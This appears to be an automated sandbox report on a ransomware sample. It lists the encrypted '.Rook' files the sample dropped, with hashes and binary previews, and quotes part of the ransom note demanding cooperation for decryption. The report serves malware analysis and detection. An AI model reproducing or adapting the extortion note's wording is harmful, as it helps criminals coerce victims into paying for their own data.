Preview:	.3....NWS.w.....DOQRLAJJXRDBLDFB.q[~.(.D..<....`GAQRDCJJEFDABYZY.6...-.L..d.` P.XAGPARMQITJGBTEI...*m...k. /9.GWWXSQPINXVZNICU.)...6.I.D.{.q.EKSUOMUYXXJBNRHSW..<....h.......DIRHMCIKNAEITRDMQb...K.....lV...AJBGSTOEKDCPMFHU.+AX.$.{2.5CU.JMKIKGFSROJUBEFT..,.z...f..6....AOCQRTZMAWJSRSIP..u.......i0....PJSZDERJOBZOXMTBN[~..P........FAZLAAQLHHEELXVS:.E4o@.1....f..LEJZMVUVUNOVPOXE...S..`8%.._\.nJYAFFYQCUVNCGKNU+.......a+.u....GQCDDWUZCRICRCAW.......q.5]....NVXJFJSEWZTEBNFJ.&..+25..L.....HISPEAOYYRCQBCBDK..F.0......OHGITMKUFLEYTFZJ{.pb(a...eQ..RdXZSQUHXXSALOPVLO...<.......Y-\|YWOWOIRHKGVVRHMXL..R.N...)..~Ch.RVMAWAQNDVBPJGZQG/]C....uX.....TKGQVYKDTHZMKOXX.hs...E.k".:.'.EBDTDWEOKDABJHEN9.6=.nl.%v...,.KFZSMFYJWSBWYPLP+..!.((....Np..QHPGAVCMUTSEWICD.J`.).<.6".a..VGDEQWVLICXXRGZL..........Z.h.,.ABSFGBTCWHWOQFRE....%.WG...Q...VFVHIYCSSHMLTNWX.i/..n#l..2s...$TGZFHOYCMPKIHBEG...l.q43`..K.x..TMRYSLNISEZDXWUX)L..W...g}3-.gJ.OEZVUJEMDKMJMIMP....;..........OJWOHIJSOTCNEGSSE...;~.C

C:\Users\user\Downloads\DUKNXICOZT.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839315781587
Encrypted:	false
SSDEEP:	96:ln6r0bB107Ko4/AAUn5U50+NS43LPuLjv:lk0PoiM5U50B43LPun
MD5:	75B501109FCAC4DCC709BB984F0E5FA8
SHA1:	51C0E9EC110CBAA58A4B5913F427BC0CBE39CDF0
SHA-256:	7489C3D1A565543DF29976E56F41778CBED96C27195D8AA8C20E24E721B9D3C0
SHA-512:	FBD19897A5AA29691AB7ABEF29B4077FBA2B884AD123D8150B47B60520A2A004F00387F47D9CFDEFD60093ECC0305A37EF248DB663935C673CE2D8DF1702858C
Malicious:	false
Preview:	..D}.y/...}d..D.RQNKVCEQUFBSMCGT.5.WH.n$.K88f...YDHXTQPNHHFHJTMIw.HcFO...../^...IPWCYHGFUQMXUYJB..]8...zK..m.[,AXLAZTIQUNTNPGER...I..4..-...bUNSGUFMHVRZKTGCT#...).......2z..SLPJQVAUHFJGITHW8=N......'s..P..UCPJMVLNEPNKDIZK.!s.<..#...#)K..RLUSQRQMRUGCFVVHz%....3w..8{...]SYOTZHCRWDCIILVD.u0....'Ks..\|E..KZLEBJFPCBFWGQGWl.-!h..r.w.a=.A.SQGDDEIOTQFNFCPB.....\|+...).C0eYAPHBDYRWVLPTNZQ.=....'.1.a....=OHUQUMEVRRXBUGYME...d&...Z...9.vTODUBHKLIIDLWFSV.D......k......AGSWTRHIIZFLUSWO.%.XM..:.v.R;.z.RRYRKRAUTQQLIUHD;b....~.IDw....FTTKYLQLJJTEVOLXS.w......yz.f.IRLOLZCIBSUKLPDJXJ^..8......._*.OMTIWZMXNMUQTDLW....e.^.M.._>..ADSWMKJERKRVNPKGT^.Az...[..@Q...MUUYOBVXGHJPZEQK;.Lz.\).T.~Y..ZKEDUCRZKCLMBUTIE..&...}.n"..d.LSVSHOIOGCLWGQOYR.".&..U.@~..oV)+TSTZBWQMCLPDYWEX..J.......k>....DHOPGLEHJPRKNWCK..45....}.'...MNVXHVKISJRPDYQBK....7..........FTFSIVNPFOAYLIRBR.8.]#.a..}.R%:YJPFGRFFPXAQEEPWY....Y.l.:a....7RCBJRORHQBKISQFF;.Q.w..].-I.3.!ETKBEANFDVZBQHUO......m...N'r.JEEGGSIDPOLYQHTC)...@...

C:\Users\user\Downloads\DUKNXICOZT.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83548577268394
Encrypted:	false
SSDEEP:	96:3FkJKOXnOBTc7C7Ko4/AAUn5U50+NS43LPuLjv:3F+3XcTmJoiM5U50B43LPun
MD5:	5A0B2BB1EF3808D2C4FF2E6B13A11153
SHA1:	5671EC89D84B533E36DA1296E5B37F10A735861B
SHA-256:	0D233FF2CE4023750393469C876B53DCFD16E56CC9CAAEE5D1904C602EDCE84F
SHA-512:	1F6E42664C426250BA48BCE252091726E8892BD01522317363D20D0E28211987FD939D54DF249A1919B655306CE02E243945D143112B21791BD1B9144C307A9C
Malicious:	false
Preview:	H...H...;U,$4.RQNKVCEQUFBSMCGT..K........D.S.0YDHXTQPNHHFHJTMI.^A..D{.~G..G9.WIPWCYHGFUQMXUYJByY.u..=..C$.....AXLAZTIQUNTNPGERq3S.....a+6..._UNSGUFMHVRZKTGCT.1..M..q......r.SLPJQVAUHFJGITHW.2.q.nZ..ei.B[:UCPJMVLNEPNKDIZK.F.p.....l....x.RLUSQRQMRUGCFVVHC0A'ad.Rq.....TSYOTZHCRWDCIILVD......i.ZE....KZLEBJFPCBFWGQGW.....e.s4.Z.\|.nSQGDDEIOTQFNFCPB....X..R.c+....YAPHBDYRWVLPTNZQ{.BS..`..._]..OHUQUMEVRRXBUGYMB.D%S.SE..Q..>TODUBHKLIIDLWFSV...I...-.~.ggT,AGSWTRHIIZFLUSWOc_.....+G..".DZRRYRKRAUTQQLIUHD=..H.2...J..-.FTTKYLQLJJTEVOLX..P.~...P.9)...LOLZCIBSUKLPDJXJ...#.J.........OMTIWZMXNMUQTDLW..7.c.'....y....DSWMKJERKRVNPKGTosL.%...[`xLD.6MUUYOBVXGHJPZEQK#_..g..S5.......ZKEDUCRZKCLMBUTI.M....3.^..&....SVSHOIOGCLWGQOYR.$...e..H.yW...TSTZBWQMCLPDYWEX.S...&...P.q..DHOPGLEHJPRKNWCKm.#3..x..go..-i#NVXHVKISJRPDYQBK.{.Q..rW...6...FTFSIVNPFOAYLIRB.>..i...s.l..C.JPFGRFFPXAQEEPWY-....h....w..@7.RCBJRORHQBKISQFF.:5t..`2.vh....)ETKBEANFDVZBQHUO..n.o.5I..E....fJEEGGSIDPOLYQHTC..u....1

C:\Users\user\Downloads\GNLQNHOLWB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.844617928719965
Encrypted:	false
SSDEEP:	96:hCGkz76GA1Q5dbtfLvaT7Ko4/AAUn5U50+NS43LPuLjv:hRbD1Q5dBfLvaioiM5U50B43LPun
MD5:	ED8583B743FBAF62AD4258A649E13EF9
SHA1:	3508DACF596C6B237D0639491C8E4139464B945E
SHA-256:	3983212D4438BECAD2EDD734AC17672851E3F3CC0F0980D21AF7AAD449D8BC57
SHA-512:	49BE6FF868B7079A405C120D3B8829F6C1EAD524DB6AD73AF86FF4B8BD9BC4FFB7E2DB1AE3651A3E24590543D7927A7D7EFAC2BD05DED0D0533E608EBEB6F19E
Malicious:	false
Preview:	f.t=...e....D./TLNFGJNNXMGUZOMC..CO.0..OfQ..Q.VRYLBVHOHRRAZCZO.,.m...M....8.owLDYZAFJGGGUXKDFD..t.5..Z..Rq8F.LKNJPXNWQKOEVEVLW....8..>...c6...DUZGGIUHFXGBKGLA..i3d[.2.....HYWEKXXBEZZVPBKV[.+Y.....wh.!QP.VQNAPBMPJOZNNFCDA...nMj.......JSRGZTGXSYUNNLKZK...>}...lb...t..LHMWTCZYYSGNSZQW..0MT......u...ZVFQGHKVENDXCIHQ',..Hn..q.....X.JHTLGYJROSCXNGTC..3.........F$.yXTRIYCZVDEDWKBEH..Iy\|"%p..S.[.VFLHQRXMYLCHQAJK...F...)T..H$..\HVBDNWQMACXDCGCP*..]@.......;[UJMXEBPBCWJDOKOS...f.\|..l;.....YQVAUUYDVCYUHDRU......j.s.2...&.SHICTVCMWIDPOKQM\|. ,U.G.&[m.....WWFNEKDLAVDZNBHH...?Qm.@.....^..SVJTEIAUJEHUVHRJ\|6.....z..v..7.DNGHYAESSKWHOCXL.y.'....~tx...wQEPWVDSSTKTYQDQT.z.4.e..././'.RECDIFCMPKXTYYNGI.".j..ELD.HZ.zULORZGHRQIQWLMHM...l.F.@.......MPWAGGPUJXOOYWOG6D_..Y.<q....v.jLSJECCOVZVTAPKGA.X=....`...j....XBKKPKPJFJOKZKMP.W.O.y.^.xo..}.KEJJHHOVFETVBBFB.[Nv........B.LaRJUKYZTGOFQUAVOG9.d..(.J.....5IRYUATBQRRVCNMFMfQ....U=.9.....CICPBMURXQOIITZCB..J.q]&9a..sB.IALRYCNLFILDCLQXD......"Q

C:\Users\user\Downloads\GNLQNHOLWB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838544639220096
Encrypted:	false
SSDEEP:	96:erRkFn3t6fedf+vJl7Ko4/AAUn5U50+NS43LPuLjv:cc3sfqloiM5U50B43LPun
MD5:	F34F09B8923BA4E42038D36B4B7B23BE
SHA1:	74A3D11D36599D68CAAB917C2B290D25C9CA2E45
SHA-256:	7220702D69B223A75BC89CC53DC73BB7F9F3AC09642602DF37FC7B485F3764B3
SHA-512:	FE047CAF6F71C43DDA2C94441B6D5EC941E5BD760AA1EC9DFE8FFD17738CEF2794E4D5CCAEA5031DCC4184FB0870641AA6472F62EBA2BBC91440AD01AC97E05D
Malicious:	false
Preview:	).@....e..d..z7.TLNFGJNNXMGUZOMC,.......7....B.VRYLBVHOHRRAZCZO....0;1... X...LDYZAFJGGGUXKDFD..&.jQz.~O.....KNJPXNWQKOEVEVLW.B..t...<....J.DUZGGIUHFXGBKGLA-.OZ.@.P......5EHYWEKXXBEZZVPBKV..b.^.\.hdC..I}.VQNAPBMPJOZNNFCDd4k.....h.y..U.SRGZTGXSYUNNLKZK....V...a9K.....LHMWTCZYYSGNSZQW<..(..f..T.o...ZVFQGHKVENDXCIHQoe."....A).Ldt..JHTLGYJROSCXNGTC.&i.V...%zh.....XTRIYCZVDEDWKBEH..{y. C......wVFLHQRXMYLCHQAJK~.Y........\o.HVBDNWQMACXDCGCP.E.#.\|.".d.D6U\|UJMXEBPBCWJDOKOS4..7...M....[.,)YQVAUUYDVCYUHDRUce._.Q....BD....SHICTVCMWIDPOKQM.?=.?.,.....u..<WWFNEKDLAVDZNBHH.]..A.......s.SVJTEIAUJEHUVHRJ.m.y!.$...<..DNGHYAESSKWHOCXLW..'...~....e.QEPWVDSSTKTYQDQT....f........RECDIFCMPKXTYYNG.)]'......c..f\|ULORZGHRQIQWLMHMs..,...q.....!?.MPWAGGPUJXOOYWOG..uD.....T..<.LSJECCOVZVTAPKGA.L.v4....p.....XBKKPKPJFJOKZKMPZ..SL/......u..KEJJHHOVFETVBBFB.8.d..YI.b'.pT..RJUKYZTGOFQUAVOG.B.....-.qpD.'.IRYUATBQRRVCNMFMd'..q.....L.Y.`:CICPBMURXQOIITZCp<7@\N../...DmMALRYCNLFILDCLQXD5....W.i

C:\Users\user\Downloads\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Downloads\IZMFBFKMEB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8461454418349055
Encrypted:	false
SSDEEP:	96:P1LZxCm765ba0Z7Ko4/AAUn5U50+NS43LPuLjv:NZxCm70LooiM5U50B43LPun
MD5:	FC002ADB57626316B6A0E496DB406E03
SHA1:	B80EF9E21C7DEC61821C018ED0C8C9DCA4ACD3AB
SHA-256:	E23FBAABC9CE2802E55A5DB95B1E3D06D0C7B1DFB4DE952FAFDD64135F676881
SHA-512:	CCBDBBF18724A53B392920F54B89E1D07B0B406DBD322F9698CBB523F5C03BA10A52AD0C991CEC22075C084D0EC48319FCFD46AAD54B9DB1328D19BD195390CB
Malicious:	false
Preview:	1..@...........[YOGRJOKLUYKYEMJU.2....!...n.C..LZNUOXWVNDZJRAOO>.Z!.........N..PDNPIJFFQZDETQFK..R...;........NOXAVBJCARKFOKHI..r.k,c...A...7SEFFASUHHMDHUBAM.....]?>.l...1..LTUEBNLLDQOMZLGI.?.<C.wM.*.....PQAWHNDDSWUDEYOPPt7c.x..K}.,."<..HPIWYDNDHUXDNYSL..d.1cN...0f..3HEOVRBHVMIEIIBHEm.3.@r...oz....XFOLUTZDUOKAMBBJ........nv...N..JGMPZZSAVFTSOBTVE....ua-jl.Ku..UHYKYXWZSTJELLKR.n..5.K..m.!..TDAKMVDVNYWADPMN.G..g.+i ....I$HCRSDUXMKTYASRRO..(.d<..Gjqx.7U.OIBCKWHWPTJGKEQOq.CF..J...g...YSUWDEDDGTJHWLZY8...Q\E.-.C..PEAZUDOXSWLHJDIGS....`........0AQHXCOAVPDFCQIEH...n.Cuy'\..Rs..SPHGVTEDVHAWYWOO}T_..5.....&+..IJQGRICKYUZPXLOZsy.WD.W".n5..UVJTEOTDEYCCRPCV.H.o..x...}.....WLNMYIPCOLYFBDDS!......@..K._...MSUSNBSGLDTYGEEBo.Z .n3.O.ihusk.PRTVXERTMYQWIYUTJ.....i!.......XMIYKWUXJBHOCOBA...]VB...tn.za.BPSQGRQDABKLPWJJ.u&.......V.3..ICHHDVYXDYYIUIOZD.E..Au.AG?s.0...JFMZOMVLIYUHJEAM.k..1.....T..+{.KHILQWXCRKUPFLJK..Ad.M9..6s..j..HJWSBCSSQMNJANADN.N.e.}.8.x..o_ZETZWJFUFSMVAZQX....).j.

C:\Users\user\Downloads\IZMFBFKMEB.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8413383486788835
Encrypted:	false
SSDEEP:	96:j57ZBTB0DbewAvZW4/7Ko4/AAUn5U50+NS43LPuLjv:1eD6wAvR+oiM5U50B43LPun
MD5:	F3FC51F018F4846EDDE7C7F6A25808D4
SHA1:	BA2FBB1CD6854D780B359BB7306B8930379138D5
SHA-256:	75AB6B63A81084F2588A0A4EDAAE57C0E4B2FA811B9BFA90A7EA42D8436F7ACB
SHA-512:	2305795B1E21BC32F674FC45C112D1F419FA17E5676C74A00E3468723A0F3AF843CE2B8C3631964A0F8AABB45E8EB4DAE9C1F38CBEA9C8586377C49715B8A87D
Malicious:	false
Preview:	.@;.;..c...T.YOGRJOKLUYKYEMJU...<0.V.U..<i.1.LZNUOXWVNDZJRAOO.2.'. .N.b..J{.4PDNPIJFFQZDETQFK.........l...NOXAVBJCARKFOKHIa.-....}.......SEFFASUHHMDHUBAM;.r....=X.../I..LTUEBNLLDQOMZLGI..7.0\.w\|......QAWHNDDSWUDEYOPP}....%.6..P..A.\|HPIWYDNDHUXDNYSLm...soQ.6j#AQ HEOVRBHVMIEIIBHE...4...!XQc..G.XFOLUTZDUOKAMBBJ...`.G.!a..%.H.JGMPZZSAVFTSOBTV...^O,..{]/eH4..UHYKYXWZSTJELLKR.....{f..8=~..8TDAKMVDVNYWADPMNC..9..(...C.S..HCRSDUXMKTYASRRO... ...&q.}Tg..OIBCKWHWPTJGKEQO..>27B....o....YSUWDEDDGTJHWLZYD.z....zu.'...EAZUDOXSWLHJDIGS....XB.;..6.%s.AQHXCOAVPDFCQIEH...'.....m>.t..SPHGVTEDVHAWYWOO-h.,.@...Pi.O~..IJQGRICKYUZPXLOZ<.....6N.Z.'./..UVJTEOTDEYCCRPCV.d..X.Q.....c..WLNMYIPCOLYFBDDS_.\.F6..w3@...MSUSNBSGLDTYGEEB...V.... .='.S..PRTVXERTMYQWIYUT....LH..=....XMIYKWUXJBHOCOBA...9.....*-.T..BPSQGRQDABKLPWJJ..K.....Y..?..^.CHHDVYXDYYIUIOZD....]_...UZh9...JFMZOMVLIYUHJEAM;..`...~.....KHILQWXCRKUPFLJK\|k/.c\|M...q.T.".HJWSBCSSQMNJANADF.D...........ZETZWJFUFSMVAZQX...;E>..

C:\Users\user\Downloads\MOCYNWGDZO.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.846956522982464
Encrypted:	false
SSDEEP:	96:EQVRyZavI0KgT7Ko4/AAUn5U50+NS43LPuLjv:EQL1A0KgioiM5U50B43LPun
MD5:	36103251B8D98F2F5E3C8DB4272473AE
SHA1:	55B63D8623A706EF96C5499AE78F7C98B6FF5FDD
SHA-256:	49F86F0EA906005D5FD3FFB67A466E2414B9F2052E1615F6261D0A43A3C8EA7A
SHA-512:	4320EB382F296107312F8DAED7927E21E6C9D24C91E8633A7CD98A7A6720B38472A6C411458EF7FD721B01F2540BEA9B98089F7B3AE360767948493248962FD9
Malicious:	false
Preview:	0.............JXWVEXMAZFCWSNOW......r.R.wX&.@HLBXCGJHPEXXNITW9..w..g.E/..Y.YAJXVPGEGUUVNIULV.+.3m....-.=..QLFMFVJSUAERDAOEb..]_...f..s{B.POVOPJCCCIRHICKBB.[..R......w.XNGLJVGIIOILNEGRp..e4M...H.S,%FIXQSKJBXKIFCRLYY_V...i......h..ZAVQFYHZABDTLXVA...v..]s.g<..n.ERHWCUHUXUKEFWIV...{.Y.9`'Af..}AFUTOVRONZDHUXIF.L$...$.YdJSa..XXSWHSGEXQUJJJPPi..t...tp....aD.TNBTYWXROFLGNORH..[....R.....;QFZMOBYNLQKULZXGFDDyg&......6..o.UKPVCPCODHNRUCNI.D..3...f.$5.I.IKCICNBANPAFLEBC.Z...4.....F..HJKNQCGLYXDMZXWG./.!L.s.........TGWEOAMFOBBYVXBOmY...A....j...<.DGYSUMJSEPOOUIJX.........F.....DLPWJOTMIEEMHNPF.2n.-....'....?QIESJYVVLEKLOMGF.b...X.{b.ZRP..UDOKZQPAXNCAPSBP*T.........zn..\JCCAQCXTWKOWHYFP9>.J.W....R..,..KOAZWPTIBAXVJBVT.Z..~_wo.k.Z~...JASIGFSMFGUQTTIV.D...h..4%k.<.X.XSOZBKGHVKBXJLPU..zF...#T..E.b-JQRJIYYBQXNICKPC?P.."..Wa..)w.;^DPXMXSNTZMUCAYAOT.......lz.5..7.OUKPWZTRQWNNZMUV....g...NzX.\|.].QPQBRRAIQVXYOMSYG.n.....M7....aZFXJJENJOZVVDSEE.4A._...uGP.j.SVIKUPOBCYKBYFFBL.....@..

C:\Users\user\Downloads\OVWVVIANZH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8373498744122285
Encrypted:	false
SSDEEP:	96:5vUt/DNhYrZpN0fQm7Ko4/AAUn5U50+NS43LPuLjv:gRqrjN0uoiM5U50B43LPun
MD5:	DE85AAFD6F803F319DAC74129591D49A
SHA1:	C154732FBC328298988683044126E223F4DE6965
SHA-256:	70FC73C7A4188C72692FFE48A73D0104953B831F483C66185387FADFA0A19A94
SHA-512:	40BC584C20A272071C4B56A9ED03A5F4559E5CC8E2E91B02430750F8BA6A45D5209E9960B5628678494DA841ED90FE31706B2C6E3A82F1AD51CDCCDBD3C39B1C
Malicious:	false
Preview:	j.U.{....QZF.\|.STOURHCRPQFPUVPQ.!.D#V...Dw.....AKSTBWQDGWLQAPUA..2~..1.....m.KYPRDWJTBAMULTFVo../..+.o.'.@k.HOXDUULNIZUDQBKQ<..9P..dZ..R>.cGPUQXHVAAOZKSYSCX...R...S.....mDGZRWAMXCBJWGDRE..Qg`......G~.AZPTRPFOAYULIBES.HS..R.`ox'^.w.CRYBJMRVOQHZZPXO.E.....jY.....TYOPYRBXWXWVNIPQ.o....^..O...oMQTOCCFGYBYKVYAL...H.2.)u......EWRBFDABMGAWEVCS0..`Vl.34.@.;,ITJHMTXSDZQTDJQCQ..W..dUQ.~...."JECILZUGNSGYVOHGg..ca2p........MVXITVRPWWPLUEER....b2#..h/..?.PGGXTTLWNZRFYGVS.....2#M..8@.MN5DAQOKPMGHNINOQNH.7a..^.......?TAXZESTKIFXQCXDN ^.,.....6.v...AMJWDGQGWCPOBTPX...-Z.~.;?.Mb..VFMEXBWRHJBXLQDH5.......-...-MXBWHFLKLIAGAKQD.......S.d/kagDAPPBPGCQOOHWDCBV..........R..,IOWZLTAIDMXYARRYc^.+.0..r.N...WDUPRLWSKRGCTTIQD_B.....`.L}P.H..PZQLSWEVBDZXVQAOC..2..w*sG....AVBHEKYBUXNMLAWIkWC.....vH.;rV!.JAYUVNUWQQYOHHWR^..:....D.X..#..ZWHPDIXDEWDCNYUX...G.U.N.g....VNOOCASKUTHAZVXPv8.5.9......I..FBGIZKVUDLFYSFJX+.P.g9.vl...!BTNPDEUUEDDRJHFX....%....UQ.q...QJTNTOREWWDDTIVJ......+.

C:\Users\user\Downloads\UBVUNTSCZJ.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847778502482106
Encrypted:	false
SSDEEP:	96:7seFm/SjTso9Cs5C7Ko4/AAUn5U50+NS43LPuLjv:IzSjgkJoiM5U50B43LPun
MD5:	D41283A55AA0FA01DE2966D833D5C2F8
SHA1:	B33AD0C56C91EB79BA476911AD280E3344B4DE0C
SHA-256:	E5A81890B70E3876D1170DCBD6A3DD63E8A4E784DDD4C5A70512CEDD32B6FB2F
SHA-512:	4479A75D2E10EDB187406C3B7D20E429C10E2785D76033BB6878E2CF441CEAE22B9288AEA08A1237768A68C76F3C6198F18484A5475F7076CC1F1824FA5B6E76
Malicious:	false
Preview:	...'....5.zM.lZLCTIUQFFTUXDGDM9G..8..@....m.XSTOXKFSFTPIFBIKU...?.4N...$`.m.3EEEUNDVTZSSGPULU..%7.f.....B..L.OQKVROLRJDHOOHJX......V.].Y...EJCKLRVWCOLIIJKX..y.i.ta.=......CFIUBQJSAAGFSLSZg..y.@.RM$.O..VRABMEABTSRVNHFA.J...t.:.=AL.\.CHWOENBPZIRFFNIB...{..7Vxr.,.L.+JYXIRUTOLTBLVSGV7.n..`Jb.W..tPGXTFQAUQFHGAFMB..5.N..f.JE.N.7NIIKVYFFALFRMJLP.....k..7....Q.VCRRTIKWLRPMCWOU..\|..6.P\.x....IZVGCFNRVDQJDBZF1...%a..~..X..FRJEDQXOLNJKZEAK..y.$.....z39.TRTDUFPLZDAQZOEV.B..#..r!.Fq..1.ENCESIPRLRHJPSJIu.I....'.`...\PMJSJVKIRCJDUJTB..xD\a.u......{/CATMJTIPRCDTICNCgt..t...UZ.A...VRUZXEVVHOCRAMANp.j_..B.SyJ..+.{FOMUVYGSTOPSLYTH{/...S.M.d.....FBISOCNEJQIQSHCE:..b.,...B.}..LQLKPGBGVXXCAGMQ%.e.o.3...Wc....OXXERANPKKZPXOUE!...#..jq.,.9..LBBDDBNPFYMAIQEN...6J-....s/CJ.QZBZOZJSXPYCMWYG/.....b.....o.MREQFHKKODROXTZN!..Gf.VO Hs..RVIHZNACJEUFOKBT..........:..zSNIXNUGQEZKRSOOH...["%.c...,....ATAIQUBESVNNUPBTvt..].g-R.).7...SXPLFTUDGBIUBNBE.>....'.....\..\|UAERIXPFMGENDQBP..O1..?

C:\Users\user\Downloads\UBVUNTSCZJ.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83585808437566
Encrypted:	false
SSDEEP:	96:Zp5RB+/Um3vKykm7Ko4/AAUn5U50+NS43LPuLjv:Zp5H+/nSyGoiM5U50B43LPun
MD5:	620BC4468DEF0EC096A690F17E9C44B5
SHA1:	1DD4266B1D8366D7C72CF5241DD79CD4E72D9CD3
SHA-256:	5FBFC98AD2D37D4CF0334D3E6936D7933DE4A30C63DCC660AFEBE71F53C54011
SHA-512:	217DFEF88F60493679D9D706559630E6C3C272217B693D69D13F1061214A4CEAE6718442A94F49604DFBC9E1D0B2FA09B3F00443CF25964465D031D59A04DF61
Malicious:	false
Preview:	..#m<.... .u..z\ZLCTIUQFFTUXDGDM....XR.........STOXKFSFTPIFBIKU....J...b.....EEEUNDVTZSSGPULU...z...c..)...OQKVROLRJDHOOHJX.J.].]8SJQ...0EJCKLRVWCOLIIJKX..\...U.C.Z..9.CFIUBQJSAAGFSLSZ.]..q...j..,....VRABMEABTSRVNHFA...IW...'mP..BLCHWOENBPZIRFFNIB>.=2...P9....+\|.JYXIRUTOLTBLVSGV.OD..........V.ZPGXTFQAUQFHGAFMBv...3...q.5..(NIIKVYFFALFRMJLP.qq:..G..5H....VCRRTIKWLRPMCWOU..e..P<....hw.IZVGCFNRVDQJDBZF(....W....&$....FRJEDQXOLNJKZEAK......U&!.e.okbTRTDUFPLZDAQZOEVg...]L..E.x..ENCESIPRLRHJPSJI..y.z...:..:....PMJSJVKIRCJDUJTB...Ax@....5...CATMJTIPRCDTICNC`..4}t.C.U....1VRUZXEVVHOCRAMAN.:X.B...b...^FH.FOMUVYGSTOPSLYTH./~..L.J....l.)FBISOCNEJQIQSHCE.%.K.X.......XLPLQLKPGBGVXXCAGMQ"0<:.H`....n....OXXERANPKKZPXOUEI.Kh.p:U...bd#..LBBDDBNPFYMAIQEN.kkU.......7.QZBZOZJSXPYCMWYG..Z...^2....uEEnMREQFHKKODROXTZNS.).....M..5...ARVIHZNACJEUFOKBT0.F..t..j..H".LSNIXNUGQEZKRSOOH....._..3B=zA#5VATAIQUBESVNNUPBT.F....:x...3....SXPLFTUDGBIUBNBE.f.@.?j!1a..^...UAERIXPFMGENDQBP@LL..4~.

C:\Users\user\Downloads\UBVUNTSCZJ.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.835568760502668
Encrypted:	false
SSDEEP:	96:eDiAZ0TU30LZP7Ko4/AAUn5U50+NS43LPuLjv:ezZ0TUkgoiM5U50B43LPun
MD5:	47A884D7441CA5CCFAC6D9602E5D73E8
SHA1:	58F298CF23CE60860B9831AEE044573DBF2E30F9
SHA-256:	5CA70B8B1BD629F24CC3F26FA426827B14FD8C1DA2860F0D7CAD374449F1EE0D
SHA-512:	970FCF5E02D59F4312E6C7960331D00B4373A77C984E1388DE3057DD4225261C45CA001E30284E8782060175E86C9024E35AAB8C7532918D7984A760FF6BECCD
Malicious:	false
Preview:	.$]V...s.{..yw.ZLCTIUQFFTUXDGDM......y.!~\w.L.STOXKFSFTPIFBIKU..hY+.xk.;Z....EEEUNDVTZSSGPULUqg.a.4...o..?0..OQKVROLRJDHOOHJXH.....OC+~..w.A.EJCKLRVWCOLIIJKX"{.C.....R8c.h..CFIUBQJSAAGFSLSZ."........CNLIVRABMEABTSRVNHFAWU..B.....duv.-CHWOENBPZIRFFNIB@....H........#.JYXIRUTOLTBLVSGV..H9URUm.qq.X7$PGXTFQAUQFHGAFMB...A~.3..x:.....NIIKVYFFALFRMJLPY...w.J...49.B:.VCRRTIKWLRPMCWOUF8.).. .u.......IZVGCFNRVDQJDBZF..}.7.i....c....FRJEDQXOLNJKZEAK.{....u......7..TRTDUFPLZDAQZOEVJ/='...y[...O..ENCESIPRLRHJPSJI..L.0=./$l.."...PMJSJVKIRCJDUJTB{.H/....rh{l.@,CATMJTIPRCDTICNC...B.5..e+.gj..VRUZXEVVHOCRAMAN..s....E.,').GFOMUVYGSTOPSLYTH..j.._.z.@".p..FBISOCNEJQIQSHCE.V..Th.^.V...5.LQLKPGBGVXXCAGMQ.....V2v3.......OXXERANPKKZPXOUE...H9..mJ.$...LBBDDBNPFYMAIQEN..Zd..%LM....8.QZBZOZJSXPYCMWYG.}..V/ ...V>.r.MREQFHKKODROXTZNi..J.c....4.8y.YRVIHZNACJEUFOKBT.............SNIXNUGQEZKRSOOHJ.vh^.)T.XP?....ATAIQUBESVNNUPBT..WC...;.l...,6SXPLFTUDGBIUBNBE&..3....8.:....UAERIXPFMGENDQBPwJ..\..z

C:\Users\user\Downloads\WHZAGPPPLA.jpg.Rook

Download File

